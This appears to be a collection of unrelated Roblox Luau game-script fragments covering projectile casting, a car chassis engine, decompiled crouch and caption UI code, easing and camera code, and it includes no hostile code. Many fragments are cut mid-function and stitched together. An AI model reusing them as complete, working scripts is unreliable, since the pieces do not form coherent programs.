acceleration = lastTrajectory.Acceleration
end
if (position == nil) then
position = lastTrajectory.Origin
end
lastTrajectory.Origin = position
lastTrajectory.InitialVelocity = velocity
lastTrajectory.Acceleration = acceleration
else
-- The latest trajectory is done. Set its end time and get its location.
lastTrajectory.EndTime = cast.StateInfo.TotalRuntime
local point, velAtPoint = unpack(GetLatestTrajectoryEndInfo(cast))
if (velocity == nil) then
velocity = velAtPoint
end
if (acceleration == nil) then
acceleration = lastTrajectory.Acceleration
end
if (position == nil) then
position = point
end
table.insert(cast.StateInfo.Trajectories, {
StartTime = cast.StateInfo.TotalRuntime,
EndTime = -1,
Origin = position,
InitialVelocity = velocity,
Acceleration = acceleration
})
cast.StateInfo.CancelHighResCast = true
end
end
function ActiveCastStatic:SetVelocity(velocity: Vector3)
assert(getmetatable(self) == ActiveCastStatic, ERR_NOT_INSTANCE:format("SetVelocity", "ActiveCast.new(...)"))
assert(self.StateInfo.UpdateConnection ~= nil, ERR_OBJECT_DISPOSED)
ModifyTransformation(self, velocity, nil, nil)
end
function ActiveCastStatic:SetAcceleration(acceleration: Vector3)
assert(getmetatable(self) == ActiveCastStatic, ERR_NOT_INSTANCE:format("SetAcceleration", "ActiveCast.new(...)"))
assert(self.StateInfo.UpdateConnection ~= nil, ERR_OBJECT_DISPOSED)
ModifyTransformation(self, nil, acceleration, nil)
end
function ActiveCastStatic:SetPosition(position: Vector3)
assert(getmetatable(self) == ActiveCastStatic, ERR_NOT_INSTANCE:format("SetPosition", "ActiveCast.new(...)"))
assert(self.StateInfo.UpdateConnection ~= nil, ERR_OBJECT_DISPOSED)
ModifyTransformation(self, nil, nil, position)
end
function ActiveCastStatic:GetVelocity(): Vector3
assert(getmetatable(self) == ActiveCastStatic, ERR_NOT_INSTANCE:format("GetVelocity", "ActiveCast.new(...)"))
assert(self.StateInfo.UpdateConnection ~= nil, ERR_OBJECT_DISPOSED)
local currentTrajectory = self.StateInfo.Trajectories[#self.StateInfo.Trajectories]
return GetVelocityAtTime(self.StateInfo.TotalRuntime - currentTrajectory.StartTime, currentTrajectory.InitialVelocity, currentTrajectory.Acceleration)
end
function ActiveCastStatic:GetAcceleration(): Vector3
assert(getmetatable(self) == ActiveCastStatic, ERR_NOT_INSTANCE:format("GetAcceleration", "ActiveCast.new(...)"))
assert(self.StateInfo.UpdateConnection ~= nil, ERR_OBJECT_DISPOSED)
local currentTrajectory = self.StateInfo.Trajectories[#self.StateInfo.Trajectories]
return currentTrajectory.Acceleration
end
function ActiveCastStatic:GetPosition(): Vector3
assert(getmetatable(self) == ActiveCastStatic, ERR_NOT_INSTANCE:format("GetPosition", "ActiveCast.new(...)"))
assert(self.StateInfo.UpdateConnection ~= nil, ERR_OBJECT_DISPOSED)
local currentTrajectory = self.StateInfo.Trajectories[#self.StateInfo.Trajectories]
return GetPositionAtTime(self.StateInfo.TotalRuntime - currentTrajectory.StartTime, currentTrajectory.Origin, currentTrajectory.InitialVelocity, currentTrajectory.Acceleration)
end
|
--l.WordWrap = word_wrap |
closing=false
close.MouseButton1Click:connect(function()
--close.Visible = false
hidef()
closing=true
--cutoff.Visible = false
end)
function showf()
script.scrollunroll.Pitch = math.random(900,1100)/1000
script.scrollunroll:Play()
close.Visible = true
cutoff.Visible = false
cutoff.Position = UDim2.new(0.5,-300,0,-300)
cutoff.Visible = true
cutoff:TweenPosition(
originalpos
, "In", "Quad", .5, true, nil
)
wait(.51)
cutoff.Size = UDim2.new(0,600,0,cutoff_start)
--cutoff.Visible = true
cutoff:TweenSize(
UDim2.new(0,600,0,cutoff_end)
, "Out", "Quad", .8, true, nil
)
end
function hidef()
if closing then return end
script.scrollroll.Pitch = math.random(900,1100)/1000
script.scrollroll:Play()
cutoff:TweenSize(
UDim2.new(0,600,0,cutoff_start)
, "Out", "Quad", .3, true, nil
)
wait(.31)
cutoff:TweenPosition(
UDim2.new(0.5,-300,0,-300)
, "Out", "Quad", .3, true, nil
)
wait(.31)
cutoff.Visible = false
--cutoff.Position = originalpos
g:Destroy()
end
|
-- Rocket will fly through things named these |
local ROCKET_IGNORE_LIST = {rocket = 1, handle = 1, effect = 1, water = 1} --NOTE: Keys must be lowercase, values must evaluate to true
|
-- Private Functions |
local function getAbsDist(a, b)
local d = b - a
if (type(d) == "number") then
return math.abs(d)
end
return d.Magnitude
end
|
----------------------------------------------------------------------------------------------------
-------------------=[ PROJETIL ]=-------------------------------------------------------------------
---------------------------------------------------------------------------------------------------- |
,Distance = 4000
,BDrop = .25
,BSpeed = 1600
,SuppressMaxDistance = 25 --- Studs
,SuppressTime = 10 --- Seconds
,BulletWhiz = false
,BWEmitter = 25
,BWMaxDistance = 50
,BulletFlare = false
,BulletFlareColor = Color3.fromRGB(255,255,255)
,Tracer = false
,TracerColor = Color3.fromRGB(255,255,255)
,TracerLightEmission = 1
,TracerLightInfluence = 0
,TracerLifeTime = .2
,TracerWidth = .1
,RandomTracer = false
,TracerEveryXShots = 5
,TracerChance = 100
,BulletLight = false
,BulletLightBrightness = 1
,BulletLightColor = Color3.fromRGB(255,255,255)
,BulletLightRange = 10
,ExplosiveHit = false
,ExPressure = 500
,ExpRadius = 25
,DestroyJointRadiusPercent = 0 --- Between 0 & 1
,ExplosionDamage = 100
,LauncherDamage = 100
,LauncherRadius = 25
,LauncherPressure = 500
,LauncherDestroyJointRadiusPercent = 0 |
---Engine |
function Engine()
script.Parent:WaitForChild("Gauges")
script.Parent:WaitForChild("Status")
local down1
local down2
local Drive={
car.Wheels.FL:GetChildren(),
car.Wheels.FR:GetChildren(),
car.Wheels.RL:GetChildren(),
car.Wheels.RR:GetChildren()
}
local Tc={
Speed=0,
ThrotAccel=.1,
ThrotDecay=.4,
ClutchAccel=.1,
ClutchDecay=.5,
FreeAccel=.1,
FreeDecay=.01,
BrakeAccel=.5,
BrakeDecay=.5,
ExpGradient=2,
MaxTorque=100000,
BrakeMaxTorque=100000,
BExpGradient=2,
Brakes=4000, --Brake Force
ClutchGain=6000,
ClutchStall=0,
ShiftSpeed=.3,
ClutchShiftSpeed=.7,
RevBounceP=.93,
VariableThrotAdj=.1,
Trans={
-- Tuning: http://i.imgur.com/wbHZPI7.png
-- [1] [2] [3] [4] [5] [6] [7] [8] [9]
-- {Int Tq , Peak Tq , Peak Sp , Max Sp , Tq Decay, Limiter , C Tolerance , C Gain , C Stall }
{14000 , 19000 , 41 , 68 , 17 , 8 , .7 , .5 , 0 }, --1st
{10000 , 12000 , 61 , 82 , 20 , 10 , .2 , .3 , 0 }, --2nd
{8000 , 10000 , 115 , 103 , 27 , 13 , .1 , .2 , 0 }, --3rd
{5000 , 9000 , 150 , 136 , 28 , 20 , .08 , .15 , 0 }, --4th
{2500 , 8800 , 177 , 157 , 50 , 30 , .06 , .1 , 0 },
{2500 , 8400 , 177 , 177 , 50 , 30 , .06 , .1 , 0 },
{2500 , 8000 , 177 , 198 , 50 , 30 , .06 , .1 , 0 }, --5th --6th
},
ReverseTq=14000, --Reverse Torque
ReverseSp=30, --Max Reverse Speed
FDiffPerc=-.2, --Front Differential (-1 -> 1) *value < 0 is outer wheel biased
CDiffPerc=.25, --Center Differential (-1 -> 1) *value < 0 is front biased
RDiffPerc=-.2, --Rear Differential (-1 -> 1) *value < 0 is outer wheel biased
DTrainDist=-.5, --Power Distribution (See below diagram)
-- Rear <-|-------|-------|-------|-------|-> Front
-- Biased -1 0 1 Biased
-- RWD AWD FWD
-------------------------------------------
ThrotP=0,
MaxThrotP=1,
BrakeP=0,
ClutchP=0,
Throttle=0,
Brake=0,
Clutch=0,
Gear=1,
GearShift=1,
PrevGear=1,
RPM=0,
Units={
{"SPS",1},
{"MPH",.682},
{"KPH",1.097}
},
CUnit=1
}
local Friction={
TractionControl=true,
FDownforce=0000, --Front Downforce (Unsprung)
RDownforce=40000, --Rear Downforce (Unsprung)
FFChange=0,
FTolerance=10,
FMaxDiff=40,
FDecay=1,
FGripGain=1,
RFChange=-40000,
RTolerance=10,
RMaxDiff=40,
RDecay=.01,
RGripGain=.01,
PBrakeForce=40000,
SkidTol=40,
-----------------------------------------
PBrake=false,
FSkid=0,
RSkid=0,
}
for i,v in pairs(Drive) do
for n,a in pairs(v) do
if a.Wheel:FindFirstChild("#AV") then
a.Wheel:FindFirstChild("#AV"):Destroy()
end
local AV=Instance.new("BodyAngularVelocity",a.Wheel)
AV.Name="#AV"
AV.angularvelocity=Vector3.new(0,0,0)
AV.maxTorque=Vector3.new(0,0,0)
AV.P=Tc.MaxTorque
end
end
mouse.Button1Up:connect(function() down1=false end)
mouse.Button1Down:connect(function() down1=true end)
mouse.Button2Up:connect(function() down2=false end)
mouse.Button2Down:connect(function() down2=true end)
mouse.WheelForward:connect(function()
if GMode==1 then
Tc.MaxThrotP=math.min(1,Tc.MaxThrotP+Tc.VariableThrotAdj)
end
end)
mouse.WheelBackward:connect(function()
if GMode==1 then
Tc.MaxThrotP=math.max(0,Tc.MaxThrotP-Tc.VariableThrotAdj)
end
end)
mouse.KeyDown:connect(function(key)
if key=="q" then
Tc.PrevGear=Tc.Gear
Tc.GearShift=0
Tc.Gear=math.max(Tc.Gear-1,-1)
elseif key=="e" then
Tc.PrevGear=Tc.Gear
Tc.GearShift=0
Tc.Gear=math.min(Tc.Gear+1,#Tc.Trans)
elseif (string.byte(key)==48 and GMode==1) or (key=="p" and GMode==0) then
Friction.PBrake=1
elseif (key=="w" and GMode==1) or (string.byte(key)==48 and GMode==0) then
Tc.Clutch=1
elseif key=="t" then
Friction.TractionControl=not Friction.TractionControl
end
end)
mouse.KeyUp:connect(function(key)
if (string.byte(key)==48 and GMode==1) or (key=="p" and GMode==0) then
Friction.PBrake=0
elseif (key=="w" and GMode==1) or (string.byte(key)==48 and GMode==0) then
Tc.Clutch=0
end
end)
local function AChassis()
if GMode==0 then
Tc.MaxThrotP=1
Tc.MaxBrakeP=1
Tc.Throttle=math.max(car.DriveSeat.Throttle,0)
Tc.Brake=math.max(-car.DriveSeat.Throttle,0)
elseif GMode==1 then
Tc.MaxBrakeP=1
if down1 then
Tc.Throttle=1
else
Tc.Throttle=0
end
if down2 then
Tc.Brake=1
else
Tc.Brake=0
end
else
Friction.PBrake=ButtonL1
Tc.Clutch=ButtonR1
Tc.Throttle=math.ceil(RTriggerValue)
Tc.MaxThrotP=RTriggerValue
Tc.Brake=math.ceil(LTriggerValue)
Tc.MaxBrakeP=LTriggerValue^Tc.BExpGradient
if Tc.ControllerGUp==0 and ButtonY==1 then
Tc.PrevGear=Tc.Gear
Tc.GearShift=0
Tc.Gear=math.min(Tc.Gear+1,#Tc.Trans)
elseif Tc.ControllerGDown==0 and ButtonX==1 then
Tc.PrevGear=Tc.Gear
Tc.GearShift=0
Tc.Gear=math.max(Tc.Gear-1,-1)
end
Tc.ControllerGUp=ButtonY
Tc.ControllerGDown=ButtonX
end
if Tc.Throttle==1 then
Tc.ThrotP=math.min(Tc.MaxThrotP,Tc.ThrotP+Tc.ThrotAccel)
else
Tc.ThrotP=math.max(0,Tc.ThrotP-Tc.ThrotDecay)
end
if Tc.Brake==1 then
Tc.BrakeP=math.min(Tc.MaxBrakeP,Tc.BrakeP+Tc.BrakeAccel)
else
Tc.BrakeP=math.max(0,Tc.BrakeP-Tc.BrakeDecay)
end
if Tc.Clutch==1 or Tc.Gear==0 then
Tc.ClutchP=math.max(0,Tc.ClutchP-Tc.ClutchDecay)
else
Tc.ClutchP=math.min(1,Tc.ClutchP+Tc.ClutchAccel)
end
-------------
Tc.GearShift=math.min(1,Tc.GearShift+Tc.ShiftSpeed+(Tc.ClutchShiftSpeed*(1-Tc.ClutchP)))
---GearChangeBeta
local tol=Tc.Trans[math.max(Tc.Gear,1)][7]
local NSGear=Tc.Trans[math.max(Tc.Gear,1)][4]+Tc.Trans[math.max(Tc.Gear,1)][6]+3
local OSGear=Tc.Trans[math.max(Tc.PrevGear,1)][4]+Tc.Trans[math.max(Tc.PrevGear,1)][6]+3
local toprev=OSGear+((NSGear-OSGear)*Tc.GearShift)
local gearDiff=(Tc.RPM*NSGear)-(Tc.RPM*OSGear)
local stall=1
local stalltq=0
if math.abs(gearDiff)>tol then
stall=Tc.GearShift
if gearDiff>0 then
stalltq=Tc.Trans[Tc.Gear][8]*(1-Tc.GearShift)
else
stalltq=Tc.Trans[Tc.Gear][9]*(1-Tc.GearShift)
end
end
-------------
local frev=0
local rrev=0
for i,v in pairs(Drive[1]) do
frev=math.max(frev,v.Wheel.RotVelocity.Magnitude)
end
for i,v in pairs(Drive[2]) do
frev=math.max(frev,v.Wheel.RotVelocity.Magnitude)
end
for i,v in pairs(Drive[3]) do
rrev=math.max(rrev,v.Wheel.RotVelocity.Magnitude)
end
for i,v in pairs(Drive[4]) do
rrev=math.max(rrev,v.Wheel.RotVelocity.Magnitude)
end
local rev=rrev/toprev
if Tc.DTrainDist==1 then
rev=frev/toprev
elseif Tc.DTrainDist~=-1 then
rev=math.max(rev,frev/toprev)
end
local rGain=(Tc.ThrotP*2)-1
if rGain>0 then
rGain=rGain*Tc.FreeAccel
else
rGain=rGain*Tc.FreeDecay
end
Tc.RPM=math.min(1,math.max(0,rev*Tc.ClutchP^.3,(Tc.RPM+rGain)*(1-Tc.ClutchP)^.3))
-- A-Chassis 5.0
for i,a in pairs(Drive) do
for n,v in pairs(a) do
local tq=0
if Tc.Gear>0 then
Tc.Speed=toprev
if v.Wheel.RotVelocity.Magnitude<Tc.Trans[Tc.Gear][4] then
local tPerc=math.min(v.Wheel.RotVelocity.Magnitude/Tc.Trans[Tc.Gear][3],1)
local tqChange=Tc.Trans[Tc.Gear][2]-Tc.Trans[Tc.Gear][1]
tq=(Tc.Trans[Tc.Gear][1]+(tPerc*tqChange))
else
if v.Wheel.RotVelocity.Magnitude<Tc.Trans[Tc.Gear][4]+Tc.Trans[Tc.Gear][6]-1 then
local tPerc=(v.Wheel.RotVelocity.Magnitude-Tc.Trans[Tc.Gear][4])/Tc.Trans[Tc.Gear][5]
local tqChange=Tc.Trans[Tc.Gear][2]
tq=(math.max(0,Tc.Trans[Tc.Gear][2]-(tPerc*tqChange)))
else
Tc.Speed=(Tc.Trans[Tc.Gear][4]+Tc.Trans[Tc.Gear][6])*Tc.RevBounceP
tq=Tc.Trans[Tc.Gear][2]*2
end
end
elseif Tc.Gear==0 then
tq=0
else
Tc.Speed=-Tc.ReverseSp
tq=Tc.ReverseTq
end
if i==1 then
tq=tq*(1-(GSteer*Tc.FDiffPerc))*(1+math.abs(GSteer*Tc.CDiffPerc))*(1+Tc.DTrainDist)
elseif i==2 then
tq=tq*(1+(GSteer*Tc.FDiffPerc))*(1+math.abs(GSteer*Tc.CDiffPerc))*(1+Tc.DTrainDist)
elseif i==3 then
tq=tq*(1-(GSteer*Tc.RDiffPerc))*(1-math.abs(GSteer*Tc.CDiffPerc))*(1-Tc.DTrainDist)
else
tq=tq*(1+(GSteer*Tc.RDiffPerc))*(1-math.abs(GSteer*Tc.CDiffPerc))*(1-Tc.DTrainDist)
end
tq=tq*Tc.ThrotP*Tc.ClutchP^Tc.ExpGradient
tq=tq+(tq*stalltq)
local br=Tc.Brakes*Tc.BrakeP^Tc.ExpGradient
tq=math.abs(tq-br)
Tc.Speed=Tc.Speed*(1-math.ceil(Tc.BrakeP))
if i>2 and Friction.PBrake==1 then
Tc.Speed=0
tq=Friction.PBrakeForce
end
local Ref=v.Axle.CFrame.lookVector
local Speed=Tc.Speed
if i==1 or i==3 then Speed=-Speed end
local TqVector=1
if Friction.TractionControl then
TqVector=math.max(0,Friction.SkidTol-math.abs((v.Wheel.RotVelocity.Magnitude*(v.Wheel.Size.X/2))-v.Wheel.Velocity.Magnitude))/Friction.SkidTol
if TqVector<.7 then
script.Parent.Gauges.Speedo.TC.Visible=true
else
script.Parent.Gauges.Speedo.TC.Visible=false
end
else
script.Parent.Gauges.Speedo.TC.Visible=false
end
v.Wheel["#AV"].maxTorque=Vector3.new(math.abs(Ref.x),math.abs(Ref.y),math.abs(Ref.z))*tq*TqVector
v.Wheel["#AV"].angularvelocity=Ref*Speed*stall
v.Wheel["#AV"].P=Tc.MaxTorque*TqVector
end
end
end
script.Parent.Gauges.Speedo.Units.MouseButton1Click:connect(function()
if Tc.CUnit>=3 then
Tc.CUnit=1
else
Tc.CUnit=Tc.CUnit+1
end
script.Parent.Gauges.Speedo.Units.Text=Tc.Units[Tc.CUnit][1]
end)
local numbers={180354176,180354121,180354128,180354131,180354134,180354138,180354146,180354158,180354160,180354168,180355596,180354115}
local function Speedometer()
--Sound
car.DriveSeat.Rev.Pitch=car.DriveSeat.Rev.SetPitch.Value+car.DriveSeat.Rev.SetRev.Value*Tc.RPM
car.DriveSeat.Rel.Pitch=car.DriveSeat.Rel.SetPitch.Value+car.DriveSeat.Rel.SetRev.Value*Tc.RPM
car.DriveSeat.Rev.Volume=car.DriveSeat.Rev.SetVolume.Value*Tc.ThrotP
car.DriveSeat.Rel.Volume=car.DriveSeat.Rel.SetVolume.Value*(1-Tc.ThrotP)
if Tc.Throttle ~= 1 then
car.DriveSeat.Backfire.Volume=math.min(math.max((Tc.RPM-.5)/.5,0)*.7,car.DriveSeat.Backfire.Volume+.07)
else
car.DriveSeat.Backfire.Volume=math.max(car.DriveSeat.Backfire.Volume-.07,0)
end
--Afterburn
if Tc.PrevThrot~=Tc.Throttle and Tc.RPM > .6 then
local a=math.random(0,1)
if a==1 then
coroutine.resume(coroutine.create(function()
for i,v in pairs(car.Body.Exhaust:GetChildren()) do
v.Afterburn.Rate=10
end
wait(.1)
for i,v in pairs(car.Body.Exhaust:GetChildren()) do
v.Afterburn.Rate=0
end
end))
end
end
--Speedo
local fwheel=Tc.RPM*(Tc.Trans[math.max(Tc.Gear,1)][4]+Tc.Trans[math.max(Tc.Gear,1)][6])
local z1=math.min(1,math.max(0,fwheel-(Tc.Trans[math.max(Tc.Gear,1)][3]*.5))/(Tc.Trans[math.max(Tc.Gear,1)][3]-(Tc.Trans[math.max(Tc.Gear,1)][3]*.5)))
local z2=math.min(1,math.max(0,fwheel-Tc.Trans[math.max(Tc.Gear,1)][4])/Tc.Trans[math.max(Tc.Gear,1)][6])
local blue=1-z1
local red=z2*2
local green=0
if fwheel>Tc.Trans[math.max(Tc.Gear,1)][4] then
green=1-z2
else
green=math.max(.45,z1*2)
end
for i,v in pairs(script.Parent.Gauges.Tach:GetChildren()) do
local n=tonumber(string.match(v.Name, "%d+"))
if n~=nil then
if n%2 == 0 then
v.P.Size=UDim2.new(0,4,0,((1-math.abs(Tc.RPM-((n-1)/18)))^12*-40)-10)
else
v.P.Size=UDim2.new(0,6,0,((1-math.abs(Tc.RPM-((n-1)/18)))^12*-40)-10)
end
v.P.BackgroundColor3 = Color3.new(red,green,blue)
end
end
local sp=car.DriveSeat.Velocity.Magnitude*Tc.Units[Tc.CUnit][2]
if sp<1000 then
local nnn=math.floor(sp/100)
local nn=(math.floor(sp/10))-(nnn*10)
local n=(math.floor(sp)-(nn*10))-(nnn*100)
script.Parent.Gauges.Speedo.A.Image="http://www.roblox.com/asset/?id="..numbers[n+1]
if sp>=10 then
script.Parent.Gauges.Speedo.B.Image="http://www.roblox.com/asset/?id="..numbers[nn+1]
else
script.Parent.Gauges.Speedo.B.Image="http://www.roblox.com/asset/?id="..numbers[12]
end
if sp>=100 then
script.Parent.Gauges.Speedo.C.Image="http://www.roblox.com/asset/?id="..numbers[nnn+1]
else
script.Parent.Gauges.Speedo.C.Image="http://www.roblox.com/asset/?id="..numbers[12]
end
else
script.Parent.Gauges.Speedo.A.Image="http://www.roblox.com/asset/?id="..numbers[10]
script.Parent.Gauges.Speedo.B.Image="http://www.roblox.com/asset/?id="..numbers[10]
script.Parent.Gauges.Speedo.C.Image="http://www.roblox.com/asset/?id="..numbers[10]
end
if Tc.Gear>=0 then
script.Parent.Gauges.Gear.G.Image="http://www.roblox.com/asset/?id="..numbers[Tc.Gear+1]
else
script.Parent.Gauges.Gear.G.Image="http://www.roblox.com/asset/?id="..numbers[11]
end
--Status Indicators
script.Parent.Status.Clutch.B.Size=UDim2.new(0,4,-Tc.ClutchP,0)
script.Parent.Status.Throttle.B.Size=UDim2.new(0,4,-Tc.ThrotP,0)
script.Parent.Status.Brakes.B.Size=UDim2.new(0,4,-Tc.BrakeP,0)
script.Parent.Status.ThrotLimit.B.Size=UDim2.new(0,4,-Tc.MaxThrotP,0)
GSpeed=car.DriveSeat.Velocity.Magnitude
GTopSp=Tc.Trans[#Tc.Trans][4]+Tc.Trans[#Tc.Trans][6]
GRev=Tc.RPM
GThrottle=Tc.ThrotP
GBrake=Tc.BrakeP
Tc.PrevThrot=Tc.Throttle
end
local function Smoke()
local tireSP={}
for i,v in pairs(Drive) do
for n,a in pairs(v) do
if a.Wheel:FindFirstChild("Smoke")~=nil and a.Wheel:FindFirstChild("Squeal")~=nil then
if workspace:FindPartOnRay(Ray.new(a.Wheel.Position,Vector3.new(0,-a.Wheel.Size.X/2,0)),car) then
a.Wheel.Smoke.Enabled=math.abs((a.Wheel.RotVelocity.Magnitude*(a.Wheel.Size.X/2))-a.Wheel.Velocity.Magnitude)>20
a.Wheel.Squeal.Volume=math.min(1,math.max(0,math.abs((a.Wheel.RotVelocity.Magnitude*(a.Wheel.Size.X/2))-a.Wheel.Velocity.Magnitude)-20)/20)
else
a.Wheel.Smoke.Enabled=false
a.Wheel.Squeal.Volume=0
end
end
end
end
end
--run:BindToRenderStep("AChassis",Enum.RenderPriority.Last.Value,AChassis)
--run:BindToRenderStep("Speedometer",Enum.RenderPriority.Last.Value,Speedometer)
--run:BindToRenderStep("Smoke",Enum.RenderPriority.Last.Value,Smoke)
--table.insert(Binded,"AChassis")
--table.insert(Binded,"Speedometer")
--table.insert(Binded,"Smoke")
table.insert(LoopRun,AChassis)
table.insert(LoopRun,Speedometer)
table.insert(LoopRun,Smoke)
end
Engine() |
--[[function v3:crouch(p1)
local v38 = true;
if v2.crouching == true then
for v39, v40 in pairs((workspace:GetPartsInPart(l__Collision__11, v32))) do
if v40.CollisionGroupId == 9 then
v38 = false;
end;
end;
end;
if v38 == true and v2.camlock == nil and v2.stopcam == false then
if p1 ~= nil then
v2.crouching = p1;
else
v2.crouching = not v2.crouching;
end;
if v2.crouching == true then
v34.Crouch:Play(0.2, 1, 0);
v2.spring:Impulse(Vector3.new(math.random(-2, 2), -10, math.random(-2, 2)));
v3.updatespeed();
v33.Crouch.ImageTransparency = 0;
v33.Crouch.Image = "rbxassetid://8571432274";
if v5() ~= "mobile" then
v33.Crouch.BackgroundTransparency = 1;
l__TweenService__8:Create(v33.Crouch, TweenInfo.new(1, Enum.EasingStyle.Exponential, Enum.EasingDirection.In), {
BackgroundTransparency = 1,
ImageTransparency = 0.5
}):Play();
return;
else
v33.Crouch.BackgroundTransparency = 0.35;
v33.Crouch.ImageTransparency = 0;
return;
end;
end;
v34.Crouch:Stop(0.2);
v2.spring:Impulse(Vector3.new(math.random(-2, 2), 5, math.random(-2, 2)));
v3.updatespeed();
v33.Crouch.ImageTransparency = 0;
v33.Crouch.Image = "rbxassetid://8571378399";
if v5() ~= "mobile" then
v33.Crouch.BackgroundTransparency = 1;
l__TweenService__2:Create(v33.Crouch, TweenInfo.new(1, Enum.EasingStyle.Exponential, Enum.EasingDirection.In), {
BackgroundTransparency = 1,
ImageTransparency = 1
}):Play();
return;
else
v33.Crouch.BackgroundTransparency = 0.35;
v33.Crouch.ImageTransparency = 0;
end;
end;
end;
function v3.updatespeed()
--u1 = l__Humanoid__9:GetAttribute("SpeedBoost");
if l__Humanoid__9:GetAttribute("SpeedBoostExtra") then
--u1 = u1 + l__Humanoid__9:GetAttribute("SpeedBoostExtra");
end;
if l__Humanoid__9:GetAttribute("SpeedBoostBehind") then
--u1 = u1 + l__Humanoid__9:GetAttribute("SpeedBoostBehind");
end;
u2 = 15;
if u3 == true then
u2 = 11;
end;
if v2.crouching == true then
u2 = 10;
l__Collision__11.CollisionGroupId = 10;
l__HumanoidRootPart__12.CollisionGroupId = 10;
else
l__Collision__11.CollisionGroupId = 2;
l__HumanoidRootPart__12.CollisionGroupId = 2;
end;
-- l__Humanoid__9.WalkSpeed = u2 + tonumber(u1);
end;
l__Humanoid__9:GetAttributeChangedSignal("SpeedBoost"):Connect(v3.updatespeed);
l__Humanoid__9:GetAttributeChangedSignal("SpeedBoostExtra"):Connect(v3.updatespeed);
l__Humanoid__9:GetAttributeChangedSignal("SpeedBoostBehind"):Connect(v3.updatespeed);
v3.updatespeed();
l__UserInputService__7.InputBegan:connect(function(p2, p3)
if p2.UserInputType == Enum.UserInputType.MouseButton2 then
end;
if p3 == true then
return;
end;
if p2.KeyCode == Enum.KeyCode.C or p2.KeyCode == Enum.KeyCode.ButtonB or p2.KeyCode == Enum.KeyCode.LeftControl or p2.KeyCode == Enum.KeyCode.LeftShift then
v3.crouch();
end;
end);
l__UserInputService__7.InputEnded:connect(function(p4)
if p4.KeyCode == Enum.KeyCode.Space then
v2.holdjump = false;
end;
if p4.UserInputType == Enum.UserInputType.MouseButton2 then
-- nil
end;
end);--]] |
function v3.titlelocation(p1)
coroutine.wrap(function()
local v6 = l__Parent__1.MainFrame.Intro:Clone();
if l__Parent__1.MainFrame:FindFirstChild("LiveIntro") then
l__Parent__1.MainFrame:FindFirstChild("LiveIntro"):Destroy();
end;
local v7 = game:GetService("ReplicatedStorage").Sounds:FindFirstChild("LA_" .. p1);
if v7 then
v7:Play();
end;
v6.Name = "LiveIntro";
v6.Visible = true;
v6.Text = p1;
v6.Parent = l__Parent__1.MainFrame;
l__TweenService__2:Create(v6, TweenInfo.new(1, Enum.EasingStyle.Quad, Enum.EasingDirection.Out), {
TextTransparency = 0,
TextStrokeTransparency = 1
}):Play();
l__TweenService__2:Create(v6.Underline, TweenInfo.new(3, Enum.EasingStyle.Exponential, Enum.EasingDirection.Out), {
Size = UDim2.new(0.5, 0, 0, 6)
}):Play();
wait(1);
l__TweenService__2:Create(v6, TweenInfo.new(7, Enum.EasingStyle.Exponential, Enum.EasingDirection.In), {
BackgroundTransparency = 1,
TextTransparency = 1,
TextStrokeTransparency = 2
}):Play();
l__TweenService__2:Create(v6.Underline, TweenInfo.new(7, Enum.EasingStyle.Exponential, Enum.EasingDirection.In), {
Size = UDim2.new(0.25, 0, 0, 6),
ImageTransparency = 1
}):Play();
game.Debris:AddItem(v6, 10);
end)();
end;
local u3 = {};
local u4 = 0;
function v3.remind(p2, p3)
coroutine.wrap(function()
if table.find(u3, p2) ~= nil then
return;
end;
table.insert(u3, p2);
if u4 >= 1 then
u4 = u4 + 1;
wait((u4 - 1) * 6);
end;
u4 = u4 + 1;
local v8 = l__Parent__1.MainFrame.Tip:Clone();
if p3 == true then
v8 = l__Parent__1.MainFrame.Warning:Clone();
end;
v8.Name = "LiveTip";
v8.Visible = true;
v8.Text = p2;
v8.Parent = l__Parent__1.MainFrame;
l__TweenService__2:Create(v8, TweenInfo.new(0.8, Enum.EasingStyle.Quad, Enum.EasingDirection.Out), {
Position = UDim2.new(0.5, 0, 0.9, 0)
}):Play();
l__TweenService__2:Create(v8.Glow, TweenInfo.new(2, Enum.EasingStyle.Quad, Enum.EasingDirection.InOut, 0, true), {
Size = UDim2.new(2, 0, 10, 0),
ImageTransparency = 0
}):Play();
wait(6);
l__TweenService__2:Create(v8, TweenInfo.new(1.2, Enum.EasingStyle.Quad, Enum.EasingDirection.InOut), {
TextTransparency = 1,
TextStrokeTransparency = 1
}):Play();
game.Debris:AddItem(v8, 10);
u4 = u4 - 1;
end)();
end;
function v3.caption(p4, p5, p6)
local u5 = p6;
coroutine.wrap(function()
local v9 = l__Parent__1.MainFrame.Caption:Clone();
if l__Parent__1:FindFirstChild("LiveCaption") then
l__Parent__1:FindFirstChild("LiveCaption"):Destroy();
end;
if p5 == true then
v9 = l__Parent__1.MainFrame.Caption:Clone();
end;
v9.Name = "LiveCaption";
v9.Visible = true;
v9.Text = p4;
v9.Parent = l__Parent__1;
if not u5 then
u5 = 7;
end;
l__TweenService__2:Create(v9, TweenInfo.new(u5, Enum.EasingStyle.Exponential, Enum.EasingDirection.In), {
BackgroundTransparency = 1,
TextTransparency = 1,
TextStrokeTransparency = 2
}):Play();
l__TweenService__2:Create(v9, TweenInfo.new(1.5, Enum.EasingStyle.Exponential, Enum.EasingDirection.Out), {
BackgroundColor3 = Color3.new(0, 0, 0)
}):Play();
script.Caption:Play();
game.Debris:AddItem(v9, 10);
end)();
end;
return v3;
|
-- p = period
-- a = amplitud |
local function inOutElastic(t, b, c, d, a, p)
if t == 0 then return b end
t = t / d * 2
if t == 2 then return b + c end
if not p then p = d * (0.3 * 1.5) end
if not a then a = 0 end
local s
if not a or a < abs(c) then
a = c
s = p / 4
else
s = p / (2 * pi) * asin(c / a)
end
if t < 1 then
t = t - 1
return -0.5 * (a * pow(2, 10 * t) * sin((t * d - s) * (2 * pi) / p)) + b
else
t = t - 1
return a * pow(2, -10 * t) * sin((t * d - s) * (2 * pi) / p ) * 0.5 + c + b
end
end
|
-- Movement mode standardized to Enum.ComputerCameraMovementMode values |
function ClassicCamera:SetCameraMovementMode(cameraMovementMode: Enum.ComputerCameraMovementMode)
BaseCamera.SetCameraMovementMode(self, cameraMovementMode)
self.isFollowCamera = cameraMovementMode == Enum.ComputerCameraMovementMode.Follow
self.isCameraToggle = cameraMovementMode == Enum.ComputerCameraMovementMode.CameraToggle
end
function ClassicCamera:Update()
local now = tick()
local timeDelta = now - self.lastUpdate
local camera = workspace.CurrentCamera
local newCameraCFrame = camera.CFrame
local newCameraFocus = camera.Focus
local overrideCameraLookVector = nil
if self.resetCameraAngle then
local rootPart: BasePart = self:GetHumanoidRootPart()
if rootPart then
